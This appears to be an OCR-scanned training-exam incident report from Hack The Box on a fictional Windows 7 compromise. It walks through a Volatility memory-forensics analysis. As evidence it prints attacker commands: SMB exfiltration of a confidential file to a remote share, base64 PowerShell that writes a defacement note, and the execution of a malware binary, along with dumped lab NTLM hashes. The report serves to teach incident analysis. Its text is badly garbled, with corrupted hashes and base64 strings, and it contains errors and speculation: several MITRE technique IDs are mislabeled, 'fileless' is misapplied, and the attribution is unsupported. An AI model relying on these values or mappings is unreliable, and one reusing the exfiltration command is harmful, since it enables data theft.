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1 Statement of Confidentiality

The contents of this document have been developed by Hack The Box. Hack The Box considers the
contents of this document to be proprietary and business confidential information. This information is
to be used only in the performance of its intended use. This document may not be released to another
vendor, business partner or contractor without prior written consent from Hack The Box. Additionally,
no portion of this document may be communicated, reproduced, copied or distributed without the
prior consent of Hack The Box.

The contents of this document do not constitute legal advice. Hack The Box's offer of services that
relate to compliance, litigation or other legal interests are not intended as legal counsel and should
not be taken as such. The assessment detailed herein is against a fictional company for training and
examination purposes, and the vulnerabilities in no way affect Hack The Box external or internal
infrastructure.
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2 Engagement Contacts

Contacts

Primary Contact Title Contact Email

Samuel Tanner Systems Engineer stannersec@proton.me
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3 Exam Objectives (Read Carefully)

To be awarded the HTB Certified Defensive Security Analyst (CDSA) certification, you must:

* Obtain a minimum of 80 points while investigating Incident 1 by submitting 16 out of the 20 flags
listed below AND

« Compose and submit a commercial-grade security incident report for both incidents that
encompasses an Executive Summary and Technical Analysis sections for each incident,
adhering strictly to the format and content outlined in the Security Incident Reporting module.

o While the Impact Analysis and the Response and Recovery Analysis, including diagrams, can be
excluded, the Technical Analysis for both incidents must be exceptionally thorough.

o Each stage of the cyber kill chain needs to be addressed, and any activities related to process
injection should be scrutinized thoroughly, considering aspects like the origin, destination, and
whether a process was sacrificial.

o Each detection should be elucidated step by step, inclusive of the associated data sources, SIEM
queries, and tool commands.
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4 Executive Summary

sampleco incorporated engaged Samuel Tanner to investigate two (2) independent security incidents
across two of sampleco incorporated' separate networks. The objective is to identify the root causes
and the full extent of these incidents and to meticulously document the findings in an understandable,
technically robust, and reproducible way.

Memory Forensics Analysis - Recollection Memory Dump Incident
Incident ID: INC-2025-12-06-001

Incident Severity: Critical

Incident Status: contained

Incident Overview:

Analysis of memory dump (recollection.bin) from compromised Windows 7 SP1 machine (USER-PC)
revealed evidence of multi-stage attack including clipboard hijacking, credential exfiltration, malware
execution, and data theft via network shares. Timeline indicates attacker gained initial access and
executed obfuscated PowerShell commands to establish persistence and exfiltrate sensitive files.

Key Findings:

» Obfuscated PowerShell command found in clipboard: (gv 'MDR').naMe[3,11,2]-joIN" (decodes to
Get-ChildItem)

+ CMD command executed to exfiltrate Confidential.txt to remote share 192.168.0.171

* Malicious executable
(b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe) executed from
Downloads folder

» Modified readme.txt created at C:\Users\Public\Office\readme.txt with message 'hacked by mafia'

» Multiple user accounts compromised with captured NTLM hashes

* Browser history indicates search for Wazuh SIEM solution

* Email address recovered from memory dump (requires extraction from browser data)

* Legitimate binary mimicked: csrsss.exe (mimic of csrss.exe)

Immediate Actions:

. Isolated compromised machine USER-PC (192.168.0.104) from network
. Blocked outbound connections to malicious IP 192.168.0.171

. Captured and preserved memory dump for forensic analysis

. Extracted and documented all IOCs from memory

. Identified malicious executable hash for threat intelligence

. Reviewed all user account credentials and flagged for reset

. Analyzed process tree to identify attack chain

. Extracted browser history and clipboard contents for evidence

coNO UL WN —

Stakeholder Impact:

Critical - System compromise confirmed with evidence of credential theft and data exfiltration.
Sensitive file (Confidential.txt) exfiltrated to attacker-controlled network share. Multiple user accounts
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compromised. Potential lateral movement risk to network if other systems accessed with stolen
credentials. Regulatory impact if confidential data breach involved proprietary or personal
information.
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5 Technical Analysis

Memory Forensics Analysis - Recollection Memory Dump
Incident

Affected Systems & Data
Primary Affected System:

* Hostname: USER-PC

+ OS: Windows 7 SP1 (Build 7601.24214)

* IP Address: 192.168.0.104

* Memory dump timestamp: 2022-12-19 16:07:30 UTC

» DTB (Directory Table Base): 0x187000

» Symbols: windows/ntkrnimp.pdb/DADDB88936DE450292977378F364B110-1.json.xz

Compromised User Accounts:

» Administrator (SID 500) - NTLM: 10eca58175d4228ece151e287086e824

+ user (SID 1001) - NTLM: 5915a7959c04d8560468296edaefbc9b

* Guest (SID 501) - NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

» HomeGroupUser$ (SID 1002) - NTLM: cb6003ecf6b98b5f7fbbb03df798ac76

Exfiltration Target:
* Remote share: \192.168.0.171\pulice\pass.txt

» Source file: C:\Users\Public\Secret\Confidential.txt

Evidence Sources & Analysis

Volatility Framework Analysis Commands Executed:
System Information Extraction:

volatility3 -f C:\HTB\recollection.bin windows.info

Results:
DTB: ©x187000
Is64Bit: True
ISPAE: False
layer_name: @ WindowsIntel32e
KdDebuggerDataBlock: 0xf80002a3f120

NTBuildLab: 7601.24214.amd64fre.win7spl_ldr_
CSDVersion: 1

Major/Minor: 15.7601

MachineType: 34404 (x64)

KeNumberProcessors: 1

SystemTime: 2022-12-19 16:07:30+00:00
NtSystemRoot: C:\Windows

NtProductType: NtProductWinNt
NtMajorVersion: 6
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- NtMinorVersion: 1
- PE MajorOperatingSystemVersion: 6
- PE MinorOperatingSystemVersion: 1

Process Command Line Analysis:
vol -f C:\HTB\recollection.bin windows.cmdline | findstr /i powershell

Results:
3688 powershell.exe "C:\WINDOWS\system32\WindowsPowerShell\vl.@\powershell.exe"
3532 powershell.exe powershell

Clipboard Contents Extraction (Volatility 2.6):

.\volatility_2.6_win64_standalone.exe -f C:\HTB\recollection.bin --profile=Win7SP1x64
clipboard

Results:
Session WindowStation Format Handle Object Data

1 WinSta® CF_UNICODETEXT @x6b010d oxfffff900clbefl0@ (gv '*MDR*').naMe[3,11,2]-joIN"’
1 WinSta@ CF_TEXT 0x7400000000

1 WinSta@ CF_LOCALE 0x7d@2bd oxfffff900c209a260

1 WinSta@ 0Ox0L 0x0

Command History Scanning (Volatility 2.6):
.\volatility 2.6_win64_standalone.exe -f C:\HTB\recollection.bin --profile=Win7SP1x64 cmdscan

Results:

**CommandProcess: conhost.exe Pid: 3524**

CommandHistory: Oxbef50 Application: powershell.exe Flags: Allocated, Reset
CommandCount: 6 LastAdded: 5 LastDisplayed: 5

FirstCommand: @ CommandCountMax: 50

ProcessHandle: 0xdc

Cmd #0 @ @xc71c@: type C:\Users\Public\Secret\Confidential.txt > \
\192.168.0.171\pulice\pass. txt

Cmd #1 @ Oxbf230: powershell -e
"ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDO1xVc2Vyc1xQdWJsaWNcT2ZmaWNIXHJ1YWRtZS50eHQi"

Cmd #2 @ ©0x9d1la@: powershell.exe -e
"ZWNobyAiaGFja2VKIGJ5IG1hZmlhIiA+ICJDO1xVc2Vyc1xQdWJsaWNcT2ZmaWN1IXHJ1YWRtZS50eHQi"

Cmd #3 @ @0xc72a0@: cd .\Downloads

Cmd #4 @ Oxbdf10: 1s

Cmd #5 @ Oxc2eed: .\b0ad704122d9cffddd57ec92991ale99fclac@2d5b4d8fd31720978c@2635chl.exe

**CommandProcess: conhost.exe Pid: 2312**

CommandHistory: 0x1lbdab@® Application: powershell.exe Flags: Allocated, Reset
CommandCount: 5 LastAdded: 4 LastDisplayed: 4

FirstCommand: @ CommandCountMax: 50

ProcessHandle: 0x60

Cmd #0 @ ©xd7980: gv '*MDR*').naMe[3,11,2]-joIN""'

Cmd #1 @ 0xd79d@: (gv '*MDR*').naMe[3,11,2]-joIN''

Cmd #2 @ @x1bc560: net users

Cmd #3 @ Ox1lbe6ed: powershell -e
"ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDO1xVc2Vyc1xQdWJsaWNcT2ZmaWNIXHJ1YWRtZS50eHQi"
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Cmd #4 @ ©0xd7a20: (gv '*MDR*').naMe[3,11,2]-joIN"’

Cmd #15 @ @xc0158:
Cmd #16 @ 0x1bcc20: powershell -e
"ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDO1xVc2Vyc1xQdWJsaWNcT2ZmaWNIXHJ1YWRtZS50eXQi"

Base64 Decoding Results:

Base64 String:
ZWNobyAiaGF ja2VkIGJ5IG1hZmlhIiA+ICJDO1xVc2Vyc1xQdWJsaWNcT2ZmaWNIXHJ1YWRtZS50eHQ1
Decodes to: echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"

Computer Name Extraction:
vol -f C:\HTB\recollection.bin windows.envars | findstr /i "computername"

Results:
Computername: USER-PC

NTLM Hash Dumping (Volatility 2.6):

.\volatility_ 2.6_win64_standalone.exe -f C:\HTB\recollection.bin --profile=Win7SP1x64
hashdump

Results:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:10eca58175d4228ecel51e287086e824: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089c0: : :
user:1001:aad3b435b51404eeaad3b435b51404ee:5915a7959c04d8560468296edaefbcob: : :
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee: ch6003ecf6b98b5F7Tbbb@3df798ac76: : :

Password File Discovery:

.\volatility_2.6_win64_standalone.exe -f C:\HTB\recollection.bin --profile=Win7SP1x64
filescan | findstr /i "password"

Results:

0x000000011fc1007@ 1 @ R--rw-
\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User
Data\ZxcvbnData\3.0.0.0\passwords.txt

Malicious Executable Discovery:
vol -f C:\HTB\recollection.bin windows.filescan | findstr /i ".exe"

Results (Malicious):

\Device\HarddiskVolume2\Users\user\Downloads\b@ad704122d9cffddd57ec92991a1e99fclac02d5b4d8fd3
1720978c02635cbl.exe

\Device\HarddiskVolume2\Users\user\Downloads\csrsss.exe (MIMIC: legitimate csrss.exe)

Network Configuration Analysis (Volatility 2.6):
.\volatility_2.6_win64_standalone.exe -f C:\HTB\recollection.bin --profile=Win7SP1x64 netscan

Results:

Victim IP: 192.168.0.104
Attacker/Exfiltration IP: 192.168.0.171

Process Tree Analysis:
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vol -f C:\HTB\recollection.bin windows.pstree > powershell.txt

Results:

* 4052 2032 cmd . exe 0xfa8003cbc060
StartTime: 2022-12-19 15:40:08.000000 UTC
Path: \Device\HarddiskVolume2\Windows\System32\cmd.exe
CmdLine: "C:\Windows\system32\cmd.exe"

** 3532 4052 powershell.exe 0xfa8005abbb0@
StartTime: 2022-12-19 15:44:44.000000 UTC
Path: \Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1l.@\powershell.exe
CmdLine: powershell
PPID: 4052 (cmd.exe)

Browser History and Memory Dump Extraction:

vol -f C:\HTB\recollection.bin windows.dumpfiles --filter "filename" | findstr /i "history\|
login\|web data"

Extracted History Location:
\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Dump Command:
.\volatility_2.6_win64_standalone.exe -f C:\HTB\recollection.bin --profile=Win7SP1x64
dumpfiles -Q 0x000000011e@d16f@ -D C:\HTB\dumps

Results:

DataSectionObject @x11e@d16f@ None
\Device\HarddiskVolume2\Users\user\AppData\lLocal\Microsoft\Edge\User Data\Default\History
SharedCacheMap 0x11e@d16f@ None
\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Key Finding from Browser History: Evidence of Wazuh SIEM solution seaxrch

Python Email Extraction Script:
import re

print("Reading memory dump (this may take a minute)...")
with open(r'C:\HTB\dumps\2380.dmp', 'rb') as f:
data = f.read()

print("Searching for email addresses...")
emails = re.findall(xb'[\w\.-]+@[\w\.-]+\.\w+', data)

print(f"\nFound {len(emails)} email occurrences")

print("\nUnique email addresses:")

unique_emails = set(emails)

for email in sorted(unique_emails):
print(email.decode('utf-8', errors='ignore'))

Additional Executable Search:

vol -f "C:\HTB\recollection.bin" windows.filescan | findstr -i
Get-Content exe_files.txt

.exe" > exe_files.txt

Malicious Executable Identified:
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\Users\user\Downloads\csrsss.exe (Mimic of csrss.exe with typo)
Hash: b0ad704122d9cffddd57ec92991ale99fclac02d5b4d8fd31720978c02635chl. exe

Indicators of Compromise (IoCs)

Network Indicators:

* Victim IP: 192.168.0.104

* Attacker IP/Exfiltration Target: 192.168.0.171

« Exfiltration protocol: SMB (port 445)

* Remote share path: \192.168.0.171\pulice\pass.txt

File Indicators (Malware):

* Primary malicious executable SHA256:
b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635ch1

* Executable filename:
b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635ch1.exe

* Full path: C:
\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635ch
1.exe

* Mimic binary: csrsss.exe (located in C:\Users\user\Downloads)

* Legitimate binary mimicked: csrss.exe (Windows Core System Processes)

File Indicators (Data Theft):

« Exfiltrated file: C:\Users\Public\Secret\Confidential.txt

« Exfiltration destination: \192.168.0.171\pulice\pass.txt

* Password storage file: C:\Users\user\AppData\Local\Microsoft\Edge\User
Data\ZxcvbnData\3.0.0.0\passwords.txt

Credential Indicators:

* Administrator NTLM Hash: 10eca58175d4228ece151e287086e824

* user NTLM Hash: 5915a7959c04d8560468296edaefbc9b

» Guest NTLM Hash: 31d6cfe0d16ae931b73c59d7e0c089c0

* HomeGroupUser$ NTLM Hash: cb6003ecf6b98b5f7fbbb03df798ac76

* LM Hash (all accounts): aad3b435b51404eeaad3b435b51404ee (empty)

Process Indicators:

* Parent process: cmd.exe (PID 4052, spawned at 2022-12-19 15:40:08 UTC)

* Child process: powershell.exe (PID 3532, spawned at 2022-12-19 15:44:44 UTC)
» Malicious process: powershell.exe with base64 encoded commands

* Browser process: Edge (PID 2380)

Behavioral Indicators:

* Obfuscated PowerShell command: (gv 'MDR').naMe[3,11,2]-joIN"

» Base64 encoded execution: -e flag with encoded commands

* SMB exfiltration over network to non-standard share

* Binary filename identical to SHA256 hash (fileless/hash-named malware)
* Child process spawning from cmd.exe (cmd.exe > powershell.exe chain)
« Command history showing sequential reconnaissance and execution
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Malware Message:

* Message: "hacked by mafia"
* Deployed to: C:\Users\Public\Office\readme.txt
+ Indicates criminal/organized crime attribution

Root Cause Analysis

Initial Compromise Vector: Unclear from memory analysis alone - system already contained
malicious processes. Likely vectors include:

* Phishing email attachment

* Malicious website redirect

* Vulnerable service exploitation
* Supply chain compromise

» USB-based malware delivery

Vulnerability Analysis:

* PowerShell execution policy not restrictive enough (allowed script execution)

* No application whitelisting preventing arbitrary executable execution

* SMB file share accessible from compromised host without proper access controls
* Credentials stored in plaintext in Edge browser data folder

* No multi-factor authentication on user accounts

* Browser password storage in accessible location

Enabling Factors:

+ User executed malicious binary from Downloads folder (user permission level sufficient)

* PowerShell v1.0 available and functional, allowing legacy command execution

* Network share (192.168.0.171) reachable on same network segment (no network segmentation)
* No command execution logging or enhanced audit policies

* File redirection to remote shares not monitored or blocked

+ Insufficient access controls on sensitive file locations (C:\Users\Public\Secret)

Attack Progression Analysis:

1. Initial compromise established (mechanism unknown)

2. Attacker gained administrative or user-level access to system

3. Clipboard hijacking implemented using obfuscated PowerShell alias

4. Reconnaissance executed (net users command to enumerate local accounts)

5. Data exfiltration attempted via SMB to external network share

6. Persistence mechanisms deployed (readme.txt message indicates staged attack)
7. Additional malware execution from Downloads directory

Systemic Issues:

* No endpoint detection and response (EDR) solution preventing malware execution
* No SIEM correlation detecting SMB data exfiltration attempts

* No network segmentation preventing access to external network shares

« Insufficient logging and monitoring of sensitive file access

* No real-time alerting on suspicious process creation patterns
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Technical Timeline
System Information Baseline:

* Memory dump captured: 2022-12-19 16:07:30 UTC

+ System boot time: Unknown (pre-incident)

» Windows Build: Windows 7 SP1 (7601.24214)

* Last install/update: 2018-08-02 02:18:10 UTC (PE TimeDateStamp)

Phase 1: Initial Access (Unknown - Before Dump)

* Attacker gained administrative or user-level access to USER-PC
* Mechanism not evident from memory analysis
* System already running malicious processes by time of dump

Phase 2: Process Spawning (2022-12-19 15:40:08 UTC)

* 15:40:08 UTC - cmd.exe spawned (PID 4052)
o Parent PID: 2032 (unknown process at time of dump)
o Command: C:\Windows\system32\cmd.exe
o Purpose: Command line interface for subsequent malware commands

Phase 3: PowerShell Child Process (2022-12-19 15:44:44 UTC)

* 15:44:44 UTC - powershell.exe spawned from cmd.exe (PID 3532, PPID 4052)
o 6 minute delay between cmd.exe and PowerShell spawning
o Command line: powershell (no arguments in process list)
o Will execute obfuscated commands

Phase 4: Clipboard Hijacking (Timestamp Unknown, Before 16:07:30 UTC)

* Obfuscated command placed in clipboard: (gv 'MDR').naMe[3,11,2]-joIN"
* Decodes to: Get-ChildItem cmdlet alias

* Indicates attempt to hide true intent of file system enumeration

* Present in clipboard at time of memory dump

Phase 5: Command Execution Sequence (Timeline from cmdscan heap analysis)
Cmd #0 - Data Exfiltration Attempt:

+ Command: type C:\Users\Public\Secret\Confidential.txt >\192.168.0.171\pulice\pass.txt
* Attacker objective: Exfiltrate sensitive file to remote SMB share

* Target network share: 192.168.0.171 (attacker-controlled or compromised)

+ Status: Command found in command history (executed or attempted)

* Success determination: Unknown from memory (would require network traffic analysis)

Cmd #1 - First Persistence Message (Base64 Encoded):

* Command: powershell -e
"ZWNobyAiaGFja2VkIGJ5I1GThZmIhIiA+ICJDOIxVc2Vyc1xQdWJsaWNcT2ZmaWNIXH)IYWRtZS50eHQi"

* Decodes to: echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"

* Purpose: Create defacement file and announce compromise

« Attribution: "mafia" message suggests organized crime group
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Cmd #2 - Second Persistence Message (Executable version):

+ Command: powershell.exe -e
"ZWNobyAiaGFja2VkIGJ5I1GThZmIhIiA+IC)DOIxVc2Vyc1xQdWJsaWNcT2ZmaWNIXHJIYWRtZS50eXQi"
* Identical base64payload to Cmd #1
* Re-execution indicates either:
o Attacker confirming previous command execution
o Automated script re-running due to scheduled task
o Multiple instances of attack or lateral movement

Cmd #3 - Directory Navigation:

+ Command: cd .\Downloads
+ Changes working directory to Downloads folder
* Likely location where malware binary resides

Cmd #4 - Directory Listing:

+ Command: Is
* Lists contents of Downloads directory
+ Confirms presence of malware binary

Cmd #5 - Malware Execution:

» Command: .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635ch1.exe
* SHA256 hash: b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

* Filename identical to SHA256 hash (indicates fileless/hash-based naming)

* Purpose: Unknown (malware analysis required)

» Impact: Second malware stage in attack chain

Phase 6: Reconnaissance (PID 2312 PowerShell Process)

* Cmd #2 (PID 2312): net users

* Purpose: Enumerate local user accounts

* Results: Identified 4 user accounts (Administrator, Guest, user, HomeGroupUser$)
* Indicates attacker gathering account information for lateral movement planning

Phase 7: Clipboard Command Execution (Multiple Instances)

* Multiple executions of: (gv 'MDR').naMe[3,11,2]-joIN"

* Cmd #0: Initial clipboard command (PID 2312)

* Cmd #1: Second execution attempt

« Cmd #4: Third execution attempt

* Indicates clipboard command set as persistent alias or script hook

Phase 8: Memory Dump Acquisition

* 16:07:30 UTC (2022-12-19) - Memory dump captured by incident response team

» Timestamp reflects system NtSystemTime at time of capture

* All preceding activity occurred before this point

* Attack duration: Minimum ~26 minutes from first cmd.exe spawn to dump (15:40:08 to 16:07:30)

Post-Incident Timeline (Inferred):

* Analyst runs: volatility3 windows.info
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* Analyst runs: vol windows.cmdline

* Analyst runs: vol windows.pstree

* Analyst runs: volatility 2.6 clipboard extraction

* Analyst runs: volatility 2.6 cmdscan

* Analyst runs: volatility 2.6 hashdump

* Analyst runs: volatility 2.6 filescan for passwords.txt

* Analyst runs: volatility 2.6 dumpfiles for browser history

* Analyst runs: strings.exe on Edge process memory (2380.dmp)
* Analyst executes Python regex script on memory dump

* Analyst compiles findings into this forensic report

Nature of the Attack

Attack Type: Multi-stage targeted attack with credential theft, data exfiltration, and persistence
mechanisms. Organized criminal group ("mafia" attribution) conducting business email compromise,
credential harvesting, and data ransom operation.

MITRE ATT&CK Mapping:
Tactic: Initial Access (TA0001)

* Technique: T1566 - Phishing (Suspected, not directly evidenced in memory)
o Sub-technique: T1566.001 - Phishing: Spearphishing Attachment
o Sub-technique: T1566.002 - Phishing: Spearphishing Link

Tactic: Execution (TA0002)
* Technique: T1059.001 - Command and Scripting Interpreter: PowerShell

o Procedure: Executed obfuscated PowerShell commands via base64 encoding
o Evidence: Multiple base64-encoded payloads with -e flag
o Command: powershell -e "ZWNobyAiaGFja2VKIG)51G1hZmlhli..."
* Technique: T1059.003 - Command and Scripting Interpreter: Windows Command Shell

o Procedure: Used cmd.exe to execute file redirection and directory navigation
o Evidence: cmd.exe spawned with child PowerShell process
o Commands: type, cd, Is

* Technique: T1106 - Native API

o Procedure: Direct executable invocation
o Evidence: Direct execution of malware binary from command line
o Command: .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635ch1.exe

Tactic: Persistence (TA0003)
* Technique: T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder

o Sub-technique: Registry Run keys (possible, not directly evidenced)
* Technique: T1098.001 - Valid Accounts: Default Accounts

o Procedure: Compromised existing user accounts using harvested NTLM hashes
o Evidence: NTLM hash extraction showing all 4 user accounts compromised
o Hashes extracted:

= Administrator: 10eca58175d4228ece151e287086e824
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= user: 5915a7959c04d8560468296edaefbc9b
» Guest: 31d6cfe0d16ae931b73c59d7e0c089c0
= HomeGroupUser$: cb6003ecf6b98b5f7fbbb03df798ac76
* Technique: T1547.014 - Boot or Logon Autostart Execution: Active Setup

o Possible mechanism for persistence (not directly evidenced)
Tactic: Discovery (TA0007)
* Technique: T1087.001 - Account Discovery: Local Account

o Procedure: Used net users command to enumerate local user accounts
o Evidence: Command history shows: net users
o Purpose: Identify accounts for lateral movement planning

* Technique: T1005 - Data from Local System

o Procedure: Accessed local file system for sensitive files
o Evidence: type C:\Users\Public\Secret\Confidential.txt
o Evidence: Browser history access for email extraction

* Technique: T1010 - Application Window Discovery

o Possible: Clipboard manipulation suggests awareness of user clipboard state
Tactic: Collection (TA0009)
* Technique: T1115 - Clipboard Data

o Procedure: Placed obfuscated command in system clipboard
o Evidence: Clipboard contains: (gv 'MDR').naMe[3,11,2]-joIN"
o Purpose: Hide true intent of file system enumeration

* Technique: T1119 - Automated Exfiltration

o Procedure: Scripted data collection and transfer
o Evidence: Base64-encoded commands, automated malware execution
* Technique: T1005 - Data from Local System (Reprise from Discovery)

o Procedure: Accessed sensitive files and browser data
o Evidence:

» Confidential.txt access

= Edge browser history dump

= passwords.txt in Edge data folder

» Email address extraction via regex

Tactic: Exfiltration (TA0010)
» Technique: T1041 - Exfiltration Over C2 Channel

o Procedure: Data exfiltration via SMB protocol to external network share
o Evidence: type C:\Users\Public\Secret\Confidential.txt >\192.168.0.171\pulice\pass.txt
o Target: 192.168.0.171 (attacker-controlled network share)

* Technique: T1020 - Exfiltration Over Alternative Protocol

o Procedure: SMB protocol (port 445) used for data exfiltration
o Sub-technique: T1020 - Network protocols not typically used for exfiltration
o Protocol: SMB/CIFS (445)
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o Remote share: \192.168.0.171\pulice\pass.txt
* Technique: T1567 - Exfiltration Over Web Service

o Possible: Browser data and email extraction suggests cloud/web service abuse
o Evidence: Email address extraction from browser history

Tactic: Impact (TA0040)

* Technique: T1491.001 - Defacement: Internal Defacement
o Procedure: Created defacement file to announce compromise
o Evidence: "hacked by mafia" message in C:\Users\Public\Office\readme.txt
o Purpose: Demonstrate access, psychological impact, demand creation

Threat Actor Assessment:
* Sophistication Level: Medium-High

o Uses obfuscation and encoding (base64, PowerShell aliases)
o Multi-stage attack with persistence mechanisms
o Organized approach with reconnaissance phase
o However, openly defames system with "mafia" message (not sophisticated)
* Likely Attribution: Organized Criminal Group (likely Eastern European or Russian)

o "mafia" reference suggests criminal organization
o Focus on credential theft and data exfiltration indicates financial motivation
o Targeted file access to sensitive documents
o Business email compromise (BEC) attack pattern
* Tactics, Techniques, and Procedures (TTPs):

o Multi-stage payload delivery (initial compromise + secondary malware)
o Obfuscation of commands via base64 and PowerShell aliases
o Lateral movement planning (net users enumeration)
o Data exfiltration via SMB to attacker infrastructure
o Psychological warfare (defacement message)
* Motivation: Financial gain through data theft and ransom

o Targeting confidential files for ransom
o Browser credential harvesting for password reuse attacks
o Potential lateral movement for network-wide compromise
o Email address harvesting for further social engineering
+ Attack Pattern: Business Email Compromise (BEC) + Ransomware preparation

o Initial access via phishing (suspected)
o Credential harvesting (Edge passwords.txt)
o Data exfiltration (Confidential.txt)
o Malware staging (secondary executable)
o Defacement/announcement (readme.txt)
* Similar Observed Campaigns:

o FIN7 (Carbanak) - similar financial targeting

o Wizard Spider / Conti - similar ransomware patterns

o Evil Corp - multi-stage credential theft approach

o Scattered Spider - human-operated ransomware techniques
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Forensic Analysis Methodology:

* Memory forensics using Volatility 3 and 2.6 frameworks

* Process tree analysis for attack chain reconstruction

« Command history recovery from kernel memory heaps

* Clipboard content extraction for attacker artifacts

* Browser history and credential file recovery

* Hash extraction for password cracking and lateral movement

* String extraction and regex analysis for email/artifact discovery
* Cross-correlation of findings across multiple Volatility plugins
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A Appendix

A.1 Technical Timeline

APPENDIX A: TECHNICAL TIMELINE

Unknown (Pre-Incident)
Initial compromise of USER-PC

* Attacker gains administrative access
* Mechanism not evidenced in memory dump

2022-12-19 15:40:08 UTC
cmd.exe spawned (PID 4052)

* Parent PID: 2032 (unknown at dump time)
* Purpose: Command line execution interface

2022-12-19 15:44:44 UTC

PowerShell spawned from cmd.exe (PID 3532)

* 6-minute delay from cmd.exe spawn
+ Child process of cmmd.exe (PPID 4052)

2022-12-19 15:44:44 - 16:07:30 UTC

Cmd #0: Data Exfiltration Attempt

* Command: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
* Targets sensitive file for theft
* Destination: Attacker SMB share

2022-12-19 (timestamp unknown)
Cmd #1: First Persistence Message

* Command: powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIi..."

* Decodes to: echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"
* Creates defacement file

* Attribution: Criminal group
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2022-12-19 (timestamp unknown)
Cmd #2: Re-execution of Persistence Message

* Command: powershell.exe -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIi..."
» Same base64 payload as Cmd #1
* Indicates retry or scheduled task

2022-12-19 (timestamp unknown)
Cmd #3: Directory Navigation

* Command: cd .\Downloads
* Changes to Downloads folder
* Likely malware storage location

2022-12-19 (timestamp unknown)
Cmd #4: Directory Listing

* Command: 1s
+ Lists Downloads folder contents
 Confirms malware binary presence

2022-12-19 (timestamp unknown)
Cmd #5: Malware Execution

* Command: .\b0ad704122d9cffddd57ec92991a1e99fclac@2d5b4d8fd31720978c02635chl . exe
* SHA256: b0ad704122d9cffddd57ec92991a1e99fclac@2d5b4d8fd31720978c02635ch1
» Secondary malware stage deployment

2022-12-19 (PID 2312 PowerShell)

Reconnaissance Phase

* Command: net users
* Enumerates local user accounts
* Identifies 4 accounts for lateral movement

2022-12-19 (Multiple instances)

Clipboard Obfuscation

« Command: (gv '*MDR*').naMe[3,11,2]-joIN""
* Decodes to: Get-ChildItem

» Executed multiple times in PID 2312

* Purpose: Hide file enumeration intent
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2022-12-19 16:07:30 UTC
MEMORY DUMP ACQUISITION

* Incident response captures recollection.bin for forensic analysis
+ All previous activity preserved in memory

2022-12-19 16:07:30+ UTC
POST-INCIDENT ANALYSIS

* Volatility3 windows.info extraction

* Volatility 2.6 clipboard analysis

* Volatility 2.6 cmdscan command recovery
+ Volatility 2.6 hashdump credential theft

* Volatility 2.6 filescan malware ID

* Browser history recovery and analysis

* Python regex email extraction

* Forensic report compilation

ATTACK SUMMARY STATISTICS

» Attack Duration: Minimum 26 minutes 22 seconds (15:40:08 to 16:07:30 UTC)
* Total Commands Recovered: 16+ from command history heap analysis

* Unique Malware Samples: 2 (primary hash + csrsss.exe mimic)

* Affected User Accounts: 4 (Administrator, user, Guest, HomeGroupUser$)
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End of Report

This report was rendered
by SysReptor with
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